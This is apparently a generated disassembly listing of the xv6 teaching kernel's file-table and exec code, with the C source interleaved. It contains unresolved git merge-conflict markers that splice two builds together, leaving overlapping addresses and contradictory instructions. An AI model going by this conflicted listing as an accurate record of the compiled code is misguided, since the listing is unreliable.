80100ce8: 8b 70 04 mov 0x4(%eax),%esi
proc->pgdir = pgdir;
80100ceb: 89 48 04 mov %ecx,0x4(%eax)
proc->sz = sz;
80100cee: 8b 8d ec fe ff ff mov -0x114(%ebp),%ecx
80100cf4: 89 08 mov %ecx,(%eax)
proc->tf->eip = elf.entry; // main
80100cf6: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100cfc: 8b 8d 3c ff ff ff mov -0xc4(%ebp),%ecx
80100d02: 8b 50 18 mov 0x18(%eax),%edx
80100d05: 89 4a 38 mov %ecx,0x38(%edx)
proc->tf->esp = sp;
80100d08: 8b 50 18 mov 0x18(%eax),%edx
80100d0b: 89 5a 44 mov %ebx,0x44(%edx)
switchuvm(proc);
<<<<<<< HEAD
80100d0b: 89 04 24 mov %eax,(%esp)
80100d0e: e8 6d 60 00 00 call 80106d80 <switchuvm>
freevm(oldpgdir);
80100d13: 89 3c 24 mov %edi,(%esp)
80100d16: e8 a5 63 00 00 call 801070c0 <freevm>
=======
80100d0e: 89 04 24 mov %eax,(%esp)
80100d11: e8 ea 5d 00 00 call 80106b00 <switchuvm>
freevm(oldpgdir);
80100d16: 89 34 24 mov %esi,(%esp)
80100d19: e8 22 61 00 00 call 80106e40 <freevm>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return 0;
80100d1e: 31 c0 xor %eax,%eax
80100d20: e9 ee fc ff ff jmp 80100a13 <exec+0x63>
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100d25: 8b 9d ec fe ff ff mov -0x114(%ebp),%ebx
80100d2b: 31 f6 xor %esi,%esi
80100d2d: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx
80100d33: e9 0e ff ff ff jmp 80100c46 <exec+0x296>
80100d38: 66 90 xchg %ax,%ax
80100d3a: 66 90 xchg %ax,%ax
80100d3c: 66 90 xchg %ax,%ax
80100d3e: 66 90 xchg %ax,%ax
80100d40 <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80100d40: 55 push %ebp
80100d41: 89 e5 mov %esp,%ebp
80100d43: 83 ec 18 sub $0x18,%esp
initlock(&ftable.lock, "ftable");
<<<<<<< HEAD
80100d36: 68 c9 73 10 80 push $0x801073c9
80100d3b: 68 e0 ff 10 80 push $0x8010ffe0
80100d40: e8 ab 37 00 00 call 801044f0 <initlock>
=======
80100d46: c7 44 24 04 49 71 10 movl $0x80107149,0x4(%esp)
80100d4d: 80
80100d4e: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
80100d55: e8 a6 35 00 00 call 80104300 <initlock>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
80100d5a: c9 leave
80100d5b: c3 ret
80100d5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100d60 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80100d60: 55 push %ebp
80100d61: 89 e5 mov %esp,%ebp
80100d63: 53 push %ebx
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d64: bb 14 00 11 80 mov $0x80110014,%ebx
}
// Allocate a file structure.
struct file*
filealloc(void)
{
80100d69: 83 ec 14 sub $0x14,%esp
struct file *f;
acquire(&ftable.lock);
<<<<<<< HEAD
80100d5c: 68 e0 ff 10 80 push $0x8010ffe0
80100d61: e8 aa 37 00 00 call 80104510 <acquire>
80100d66: 83 c4 10 add $0x10,%esp
80100d69: eb 10 jmp 80100d7b <filealloc+0x2b>
80100d6b: 90 nop
80100d6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
80100d6c: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
80100d73: e8 08 36 00 00 call 80104380 <acquire>
80100d78: eb 11 jmp 80100d8b <filealloc+0x2b>
80100d7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d80: 83 c3 18 add $0x18,%ebx
80100d83: 81 fb 74 09 11 80 cmp $0x80110974,%ebx
80100d89: 74 25 je 80100db0 <filealloc+0x50>
if(f->ref == 0){
80100d8b: 8b 43 04 mov 0x4(%ebx),%eax
80100d8e: 85 c0 test %eax,%eax
80100d90: 75 ee jne 80100d80 <filealloc+0x20>
f->ref = 1;
release(&ftable.lock);
80100d92: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
if(f->ref == 0){
f->ref = 1;
80100d99: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx)
release(&ftable.lock);
80100da0: e8 0b 37 00 00 call 801044b0 <release>
return f;
}
}
release(&ftable.lock);
return 0;
}
80100da5: 83 c4 14 add $0x14,%esp
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
if(f->ref == 0){
f->ref = 1;
release(&ftable.lock);
<<<<<<< HEAD
80100d8c: 68 e0 ff 10 80 push $0x8010ffe0
80100d91: e8 5a 39 00 00 call 801046f0 <release>
=======
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return f;
80100da8: 89 d8 mov %ebx,%eax
}
}
release(&ftable.lock);
return 0;
}
80100daa: 5b pop %ebx
80100dab: 5d pop %ebp
80100dac: c3 ret
80100dad: 8d 76 00 lea 0x0(%esi),%esi
f->ref = 1;
release(&ftable.lock);
return f;
}
}
release(&ftable.lock);
<<<<<<< HEAD
80100da0: 83 ec 0c sub $0xc,%esp
80100da3: 68 e0 ff 10 80 push $0x8010ffe0
80100da8: e8 43 39 00 00 call 801046f0 <release>
=======
80100db0: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
80100db7: e8 f4 36 00 00 call 801044b0 <release>
return 0;
}
80100dbc: 83 c4 14 add $0x14,%esp
release(&ftable.lock);
return f;
}
}
release(&ftable.lock);
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return 0;
80100dbf: 31 c0 xor %eax,%eax
}
80100dc1: 5b pop %ebx
80100dc2: 5d pop %ebp
80100dc3: c3 ret
80100dc4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100dca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80100dd0 <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
<<<<<<< HEAD
80100dc0: 55 push %ebp
80100dc1: 89 e5 mov %esp,%ebp
80100dc3: 53 push %ebx
80100dc4: 83 ec 10 sub $0x10,%esp
80100dc7: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ftable.lock);
80100dca: 68 e0 ff 10 80 push $0x8010ffe0
80100dcf: e8 3c 37 00 00 call 80104510 <acquire>
if(f->ref < 1)
80100dd4: 8b 43 04 mov 0x4(%ebx),%eax
80100dd7: 83 c4 10 add $0x10,%esp
80100dda: 85 c0 test %eax,%eax
80100ddc: 7e 1a jle 80100df8 <filedup+0x38>
panic("filedup");
f->ref++;
80100dde: 83 c0 01 add $0x1,%eax
release(&ftable.lock);
80100de1: 83 ec 0c sub $0xc,%esp
filedup(struct file *f)
{
=======
80100dd0: 55 push %ebp
80100dd1: 89 e5 mov %esp,%ebp
80100dd3: 53 push %ebx
80100dd4: 83 ec 14 sub $0x14,%esp
80100dd7: 8b 5d 08 mov 0x8(%ebp),%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
acquire(&ftable.lock);
80100dda: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
80100de1: e8 9a 35 00 00 call 80104380 <acquire>
if(f->ref < 1)
80100de6: 8b 43 04 mov 0x4(%ebx),%eax
80100de9: 85 c0 test %eax,%eax
80100deb: 7e 1a jle 80100e07 <filedup+0x37>
panic("filedup");
f->ref++;
80100ded: 83 c0 01 add $0x1,%eax
80100df0: 89 43 04 mov %eax,0x4(%ebx)
release(&ftable.lock);
<<<<<<< HEAD
80100de7: 68 e0 ff 10 80 push $0x8010ffe0
80100dec: e8 ff 38 00 00 call 801046f0 <release>
=======
80100df3: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
80100dfa: e8 b1 36 00 00 call 801044b0 <release>
>>>>>>> 5<PASSWORD>3f73dd4c6982e6625078437cc3b0c9668c6f
return f;
}
80100dff: 83 c4 14 add $0x14,%esp
80100e02: 89 d8 mov %ebx,%eax
80100e04: 5b pop %ebx
80100e05: 5d pop %ebp
80100e06: c3 ret
struct file*
filedup(struct file *f)
{
acquire(&ftable.lock);
if(f->ref < 1)
panic("filedup");
<<<<<<< HEAD
80100df8: 83 ec 0c sub $0xc,%esp
80100dfb: 68 d0 73 10 80 push $0x801073d0
80100e00: e8 6b f5 ff ff call 80100370 <panic>
80100e05: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100e09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
=======
80100e07: c7 04 24 50 71 10 80 movl $0x80107150,(%esp)
80100e0e: e8 4d f5 ff ff call 80100360 <panic>
80100e13: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100e19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80100e20 <fileclose>:
}
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80100e20: 55 push %ebp
80100e21: 89 e5 mov %esp,%ebp
80100e23: 57 push %edi
80100e24: 56 push %esi
80100e25: 53 push %ebx
80100e26: 83 ec 1c sub $0x1c,%esp
80100e29: 8b 7d 08 mov 0x8(%ebp),%edi
struct file ff;
acquire(&ftable.lock);
<<<<<<< HEAD
80100e1c: 68 e0 ff 10 80 push $0x8010ffe0
80100e21: e8 ea 36 00 00 call 80104510 <acquire>
=======
80100e2c: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
80100e33: e8 48 35 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(f->ref < 1)
80100e38: 8b 57 04 mov 0x4(%edi),%edx
80100e3b: 85 d2 test %edx,%edx
80100e3d: 0f 8e 89 00 00 00 jle 80100ecc <fileclose+0xac>
panic("fileclose");
if(--f->ref > 0){
80100e43: 83 ea 01 sub $0x1,%edx
80100e46: 85 d2 test %edx,%edx
80100e48: 89 57 04 mov %edx,0x4(%edi)
80100e4b: 74 13 je 80100e60 <fileclose+0x40>
release(&ftable.lock);
80100e4d: c7 45 08 e0 ff 10 80 movl $0x8010ffe0,0x8(%ebp)
else if(ff.type == FD_INODE){
begin_op();
iput(ff.ip);
end_op();
}
}
80100e54: 83 c4 1c add $0x1c,%esp
80100e57: 5b pop %ebx
80100e58: 5e pop %esi
80100e59: 5f pop %edi
80100e5a: 5d pop %ebp
acquire(&ftable.lock);
if(f->ref < 1)
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
<<<<<<< HEAD
80100e4c: e9 9f 38 00 00 jmp 801046f0 <release>
80100e51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return;
}
ff = *f;
80100e58: 0f b6 47 09 movzbl 0x9(%edi),%eax
80100e5c: 8b 1f mov (%edi),%ebx
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
80100e5e: 83 ec 0c sub $0xc,%esp
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
=======
80100e5b: e9 50 36 00 00 jmp 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return;
}
ff = *f;
80100e60: 0f b6 47 09 movzbl 0x9(%edi),%eax
80100e64: 8b 37 mov (%edi),%esi
80100e66: 8b 5f 0c mov 0xc(%edi),%ebx
f->ref = 0;
f->type = FD_NONE;
80100e69: c7 07 00 00 00 00 movl $0x0,(%edi)
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
return;
}
ff = *f;
80100e6f: 88 45 e7 mov %al,-0x19(%ebp)
80100e72: 8b 47 10 mov 0x10(%edi),%eax
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
80100e75: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
return;
}
ff = *f;
80100e7c: 89 45 e0 mov %eax,-0x20(%ebp)
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
<<<<<<< HEAD
80100e78: e8 73 38 00 00 call 801046f0 <release>
=======
80100e7f: e8 2c 36 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(ff.type == FD_PIPE)
80100e84: 83 fe 01 cmp $0x1,%esi
80100e87: 74 0f je 80100e98 <fileclose+0x78>
pipeclose(ff.pipe, ff.writable);
else if(ff.type == FD_INODE){
80100e89: 83 fe 02 cmp $0x2,%esi
80100e8c: 74 22 je 80100eb0 <fileclose+0x90>
begin_op();
iput(ff.ip);
end_op();
}
}
80100e8e: 83 c4 1c add $0x1c,%esp
80100e91: 5b pop %ebx
80100e92: 5e pop %esi
80100e93: 5f pop %edi
80100e94: 5d pop %ebp
80100e95: c3 ret
80100e96: 66 90 xchg %ax,%ax
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
if(ff.type == FD_PIPE)
pipeclose(ff.pipe, ff.writable);
80100e98: 0f be 75 e7 movsbl -0x19(%ebp),%esi
80100e9c: 89 1c 24 mov %ebx,(%esp)
80100e9f: 89 74 24 04 mov %esi,0x4(%esp)
80100ea3: e8 f8 24 00 00 call 801033a0 <pipeclose>
80100ea8: eb e4 jmp 80100e8e <fileclose+0x6e>
80100eaa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
else if(ff.type == FD_INODE){
begin_op();
80100eb0: e8 cb 1c 00 00 call 80102b80 <begin_op>
iput(ff.ip);
80100eb5: 8b 45 e0 mov -0x20(%ebp),%eax
80100eb8: 89 04 24 mov %eax,(%esp)
80100ebb: e8 00 09 00 00 call 801017c0 <iput>
end_op();
}
}
80100ec0: 83 c4 1c add $0x1c,%esp
80100ec3: 5b pop %ebx
80100ec4: 5e pop %esi
80100ec5: 5f pop %edi
80100ec6: 5d pop %ebp
if(ff.type == FD_PIPE)
pipeclose(ff.pipe, ff.writable);
else if(ff.type == FD_INODE){
begin_op();
iput(ff.ip);
end_op();
80100ec7: e9 24 1d 00 00 jmp 80102bf0 <end_op>
{
struct file ff;
acquire(&ftable.lock);
if(f->ref < 1)
panic("fileclose");
<<<<<<< HEAD
80100ecf: 83 ec 0c sub $0xc,%esp
80100ed2: 68 d8 73 10 80 push $0x801073d8
80100ed7: e8 94 f4 ff ff call 80100370 <panic>
80100edc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
80100ecc: c7 04 24 58 71 10 80 movl $0x80107158,(%esp)
80100ed3: e8 88 f4 ff ff call 80100360 <panic>
80100ed8: 90 nop
80100ed9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80100ee0 <filestat>:
}
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
80100ee0: 55 push %ebp
80100ee1: 89 e5 mov %esp,%ebp
80100ee3: 53 push %ebx
80100ee4: 83 ec 14 sub $0x14,%esp
80100ee7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(f->type == FD_INODE){
80100eea: 83 3b 02 cmpl $0x2,(%ebx)
80100eed: 75 31 jne 80100f20 <filestat+0x40>
ilock(f->ip);
80100eef: 8b 43 10 mov 0x10(%ebx),%eax
80100ef2: 89 04 24 mov %eax,(%esp)
80100ef5: e8 b6 07 00 00 call 801016b0 <ilock>
stati(f->ip, st);
80100efa: 8b 45 0c mov 0xc(%ebp),%eax
80100efd: 89 44 24 04 mov %eax,0x4(%esp)
80100f01: 8b 43 10 mov 0x10(%ebx),%eax
80100f04: 89 04 24 mov %eax,(%esp)
80100f07: e8 04 0a 00 00 call 80101910 <stati>
iunlock(f->ip);
80100f0c: 8b 43 10 mov 0x10(%ebx),%eax
80100f0f: 89 04 24 mov %eax,(%esp)
80100f12: e8 69 08 00 00 call 80101780 <iunlock>
return 0;
}
return -1;
}
80100f17: 83 c4 14 add $0x14,%esp
{
if(f->type == FD_INODE){
ilock(f->ip);
stati(f->ip, st);
iunlock(f->ip);
return 0;
80100f1a: 31 c0 xor %eax,%eax
}
return -1;
}
80100f1c: 5b pop %ebx
80100f1d: 5d pop %ebp
80100f1e: c3 ret
80100f1f: 90 nop
80100f20: 83 c4 14 add $0x14,%esp
ilock(f->ip);
stati(f->ip, st);
iunlock(f->ip);
return 0;
}
return -1;
80100f23: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100f28: 5b pop %ebx
80100f29: 5d pop %ebp
80100f2a: c3 ret
80100f2b: 90 nop
80100f2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100f30 <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
80100f30: 55 push %ebp
80100f31: 89 e5 mov %esp,%ebp
80100f33: 57 push %edi
80100f34: 56 push %esi
80100f35: 53 push %ebx
80100f36: 83 ec 1c sub $0x1c,%esp
80100f39: 8b 5d 08 mov 0x8(%ebp),%ebx
80100f3c: 8b 75 0c mov 0xc(%ebp),%esi
80100f3f: 8b 7d 10 mov 0x10(%ebp),%edi
int r;
if(f->readable == 0)
80100f42: 80 7b 08 00 cmpb $0x0,0x8(%ebx)
80100f46: 74 68 je 80100fb0 <fileread+0x80>
return -1;
if(f->type == FD_PIPE)
80100f48: 8b 03 mov (%ebx),%eax
80100f4a: 83 f8 01 cmp $0x1,%eax
80100f4d: 74 49 je 80100f98 <fileread+0x68>
return piperead(f->pipe, addr, n);
if(f->type == FD_INODE){
80100f4f: 83 f8 02 cmp $0x2,%eax
80100f52: 75 63 jne 80100fb7 <fileread+0x87>
ilock(f->ip);
80100f54: 8b 43 10 mov 0x10(%ebx),%eax
80100f57: 89 04 24 mov %eax,(%esp)
80100f5a: e8 51 07 00 00 call 801016b0 <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100f5f: 89 7c 24 0c mov %edi,0xc(%esp)
80100f63: 8b 43 14 mov 0x14(%ebx),%eax
80100f66: 89 74 24 04 mov %esi,0x4(%esp)
80100f6a: 89 44 24 08 mov %eax,0x8(%esp)
80100f6e: 8b 43 10 mov 0x10(%ebx),%eax
80100f71: 89 04 24 mov %eax,(%esp)
80100f74: e8 c7 09 00 00 call 80101940 <readi>
80100f79: 85 c0 test %eax,%eax
80100f7b: 89 c6 mov %eax,%esi
80100f7d: 7e 03 jle 80100f82 <fileread+0x52>
f->off += r;
80100f7f: 01 43 14 add %eax,0x14(%ebx)
iunlock(f->ip);
80100f82: 8b 43 10 mov 0x10(%ebx),%eax
80100f85: 89 04 24 mov %eax,(%esp)
80100f88: e8 f3 07 00 00 call 80101780 <iunlock>
return -1;
if(f->type == FD_PIPE)
return piperead(f->pipe, addr, n);
if(f->type == FD_INODE){
ilock(f->ip);
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100f8d: 89 f0 mov %esi,%eax
f->off += r;
iunlock(f->ip);
return r;
}
panic("fileread");
}
80100f8f: 83 c4 1c add $0x1c,%esp
80100f92: 5b pop %ebx
80100f93: 5e pop %esi
80100f94: 5f pop %edi
80100f95: 5d pop %ebp
80100f96: c3 ret
80100f97: 90 nop
int r;
if(f->readable == 0)
return -1;
if(f->type == FD_PIPE)
return piperead(f->pipe, addr, n);
80100f98: 8b 43 0c mov 0xc(%ebx),%eax
80100f9b: 89 45 08 mov %eax,0x8(%ebp)
f->off += r;
iunlock(f->ip);
return r;
}
panic("fileread");
}
80100f9e: 83 c4 1c add $0x1c,%esp
80100fa1: 5b pop %ebx
80100fa2: 5e pop %esi
80100fa3: 5f pop %edi
80100fa4: 5d pop %ebp
int r;
if(f->readable == 0)
return -1;
if(f->type == FD_PIPE)
return piperead(f->pipe, addr, n);
80100fa5: e9 a6 25 00 00 jmp 80103550 <piperead>
80100faa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
fileread(struct file *f, char *addr, int n)
{
int r;
if(f->readable == 0)
return -1;
80100fb0: b8 ff ff ff ff mov $0xffffffff,%eax
80100fb5: eb d8 jmp 80100f8f <fileread+0x5f>
if((r = readi(f->ip, addr, f->off, n)) > 0)
f->off += r;
iunlock(f->ip);
return r;
}
panic("fileread");
<<<<<<< HEAD
80100faf: 83 ec 0c sub $0xc,%esp
80100fb2: 68 e2 73 10 80 push $0x801073e2
80100fb7: e8 b4 f3 ff ff call 80100370 <panic>
80100fbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
80100fb7: c7 04 24 62 71 10 80 movl $0x80107162,(%esp)
80100fbe: e8 9d f3 ff ff call 80100360 <panic>
80100fc3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100fc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80100fd0 <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
80100fd0: 55 push %ebp
80100fd1: 89 e5 mov %esp,%ebp
80100fd3: 57 push %edi
80100fd4: 56 push %esi
80100fd5: 53 push %ebx
80100fd6: 83 ec 2c sub $0x2c,%esp
80100fd9: 8b 45 0c mov 0xc(%ebp),%eax
80100fdc: 8b 7d 08 mov 0x8(%ebp),%edi
80100fdf: 89 45 dc mov %eax,-0x24(%ebp)
80100fe2: 8b 45 10 mov 0x10(%ebp),%eax
int r;
if(f->writable == 0)
80100fe5: 80 7f 09 00 cmpb $0x0,0x9(%edi)
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
80100fe9: 89 45 e4 mov %eax,-0x1c(%ebp)
int r;
if(f->writable == 0)
80100fec: 0f 84 ae 00 00 00 je 801010a0 <filewrite+0xd0>
return -1;
if(f->type == FD_PIPE)
80100ff2: 8b 07 mov (%edi),%eax
80100ff4: 83 f8 01 cmp $0x1,%eax
80100ff7: 0f 84 c2 00 00 00 je 801010bf <filewrite+0xef>
return pipewrite(f->pipe, addr, n);
if(f->type == FD_INODE){
80100ffd: 83 f8 02 cmp $0x2,%eax
80101000: 0f 85 d7 00 00 00 jne 801010dd <filewrite+0x10d>
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
80101006: 8b 45 e4 mov -0x1c(%ebp),%eax
80101009: 31 db xor %ebx,%ebx
8010100b: 85 c0 test %eax,%eax
8010100d: 7f 31 jg 80101040 <filewrite+0x70>
8010100f: e9 9c 00 00 00 jmp 801010b0 <filewrite+0xe0>
80101014: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
begin_op();
ilock(f->ip);
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
f->off += r;
iunlock(f->ip);
80101018: 8b 4f 10 mov 0x10(%edi),%ecx
n1 = max;
begin_op();
ilock(f->ip);
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
f->off += r;
8010101b: 01 47 14 add %eax,0x14(%edi)
8010101e: 89 45 e0 mov %eax,-0x20(%ebp)
iunlock(f->ip);
80101021: 89 0c 24 mov %ecx,(%esp)
80101024: e8 57 07 00 00 call 80101780 <iunlock>
end_op();
80101029: e8 c2 1b 00 00 call 80102bf0 <end_op>
8010102e: 8b 45 e0 mov -0x20(%ebp),%eax
if(r < 0)
break;
if(r != n1)
80101031: 39 f0 cmp %esi,%eax
80101033: 0f 85 98 00 00 00 jne 801010d1 <filewrite+0x101>
panic("short filewrite");
i += r;
80101039: 01 c3 add %eax,%ebx
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
8010103b: 39 5d e4 cmp %ebx,-0x1c(%ebp)
8010103e: 7e 70 jle 801010b0 <filewrite+0xe0>
int n1 = n - i;
80101040: 8b 75 e4 mov -0x1c(%ebp),%esi
80101043: b8 00 1a 00 00 mov $0x1a00,%eax
80101048: 29 de sub %ebx,%esi
8010104a: 81 fe 00 1a 00 00 cmp $0x1a00,%esi
80101050: 0f 4f f0 cmovg %eax,%esi
if(n1 > max)
n1 = max;
begin_op();
80101053: e8 28 1b 00 00 call 80102b80 <begin_op>
ilock(f->ip);
80101058: 8b 47 10 mov 0x10(%edi),%eax
8010105b: 89 04 24 mov %eax,(%esp)
8010105e: e8 4d 06 00 00 call 801016b0 <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
80101063: 89 74 24 0c mov %esi,0xc(%esp)
80101067: 8b 47 14 mov 0x14(%edi),%eax
8010106a: 89 44 24 08 mov %eax,0x8(%esp)
8010106e: 8b 45 dc mov -0x24(%ebp),%eax
80101071: 01 d8 add %ebx,%eax
80101073: 89 44 24 04 mov %eax,0x4(%esp)
80101077: 8b 47 10 mov 0x10(%edi),%eax
8010107a: 89 04 24 mov %eax,(%esp)
8010107d: e8 be 09 00 00 call 80101a40 <writei>
80101082: 85 c0 test %eax,%eax
80101084: 7f 92 jg 80101018 <filewrite+0x48>
f->off += r;
iunlock(f->ip);
80101086: 8b 4f 10 mov 0x10(%edi),%ecx
80101089: 89 45 e0 mov %eax,-0x20(%ebp)
8010108c: 89 0c 24 mov %ecx,(%esp)
8010108f: e8 ec 06 00 00 call 80101780 <iunlock>
end_op();
80101094: e8 57 1b 00 00 call 80102bf0 <end_op>
if(r < 0)
80101099: 8b 45 e0 mov -0x20(%ebp),%eax
8010109c: 85 c0 test %eax,%eax
8010109e: 74 91 je 80101031 <filewrite+0x61>
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
}
801010a0: 83 c4 2c add $0x2c,%esp
filewrite(struct file *f, char *addr, int n)
{
int r;
if(f->writable == 0)
return -1;
801010a3: b8 ff ff ff ff mov $0xffffffff,%eax
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
}
801010a8: 5b pop %ebx
801010a9: 5e pop %esi
801010aa: 5f pop %edi
801010ab: 5d pop %ebp
801010ac: c3 ret
801010ad: 8d 76 00 lea 0x0(%esi),%esi
break;
if(r != n1)
panic("short filewrite");
i += r;
}
return i == n ? n : -1;
801010b0: 3b 5d e4 cmp -0x1c(%ebp),%ebx
801010b3: 89 d8 mov %ebx,%eax
801010b5: 75 e9 jne 801010a0 <filewrite+0xd0>
}
panic("filewrite");
}
801010b7: 83 c4 2c add $0x2c,%esp
801010ba: 5b pop %ebx
801010bb: 5e pop %esi
801010bc: 5f pop %edi
801010bd: 5d pop %ebp
801010be: c3 ret
int r;
if(f->writable == 0)
return -1;
if(f->type == FD_PIPE)
return pipewrite(f->pipe, addr, n);
801010bf: 8b 47 0c mov 0xc(%edi),%eax
801010c2: 89 45 08 mov %eax,0x8(%ebp)
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
}
801010c5: 83 c4 2c add $0x2c,%esp
801010c8: 5b pop %ebx
801010c9: 5e pop %esi
801010ca: 5f pop %edi
801010cb: 5d pop %ebp
int r;
if(f->writable == 0)
return -1;
if(f->type == FD_PIPE)
return pipewrite(f->pipe, addr, n);
801010cc: e9 5f 23 00 00 jmp 80103430 <pipewrite>
end_op();
if(r < 0)
break;
if(r != n1)
panic("short filewrite");
<<<<<<< HEAD
801010c1: 83 ec 0c sub $0xc,%esp
801010c4: 68 eb 73 10 80 push $0x801073eb
801010c9: e8 a2 f2 ff ff call 80100370 <panic>
=======
801010d1: c7 04 24 6b 71 10 80 movl $0x8010716b,(%esp)
801010d8: e8 83 f2 ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
<<<<<<< HEAD
801010ce: 83 ec 0c sub $0xc,%esp
801010d1: 68 f1 73 10 80 push $0x801073f1
801010d6: e8 95 f2 ff ff call 80100370 <panic>
801010db: 66 90 xchg %ax,%ax
801010dd: 66 90 xchg %ax,%ax
801010df: 90 nop
801010e0 <balloc>:
=======
801010dd: c7 04 24 71 71 10 80 movl $0x80107171,(%esp)
801010e4: e8 77 f2 ff ff call 80100360 <panic>
801010e9: 66 90 xchg %ax,%ax
801010eb: 66 90 xchg %ax,%ax
801010ed: 66 90 xchg %ax,%ax
801010ef: 90 nop
801010f0 <balloc>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
801010f0: 55 push %ebp
801010f1: 89 e5 mov %esp,%ebp
801010f3: 57 push %edi
801010f4: 56 push %esi
801010f5: 53 push %ebx
801010f6: 83 ec 2c sub $0x2c,%esp
801010f9: 89 45 d8 mov %eax,-0x28(%ebp)
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
801010fc: a1 e0 09 11 80 mov 0x801109e0,%eax
80101101: 85 c0 test %eax,%eax
80101103: 0f 84 8c 00 00 00 je 80101195 <balloc+0xa5>
80101109: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp)
bp = bread(dev, BBLOCK(b, sb));
80101110: 8b 75 dc mov -0x24(%ebp),%esi
80101113: 89 f0 mov %esi,%eax
80101115: c1 f8 0c sar $0xc,%eax
80101118: 03 05 f8 09 11 80 add 0x801109f8,%eax
